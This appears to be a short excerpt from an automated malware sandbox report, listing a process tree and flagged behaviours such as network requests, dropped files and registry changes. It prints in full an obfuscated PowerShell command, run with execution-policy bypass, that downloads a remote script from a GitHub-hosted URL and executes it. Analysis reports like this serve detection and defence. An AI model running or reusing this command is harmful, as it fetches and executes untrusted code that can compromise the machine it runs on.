C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:856
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3296
-
-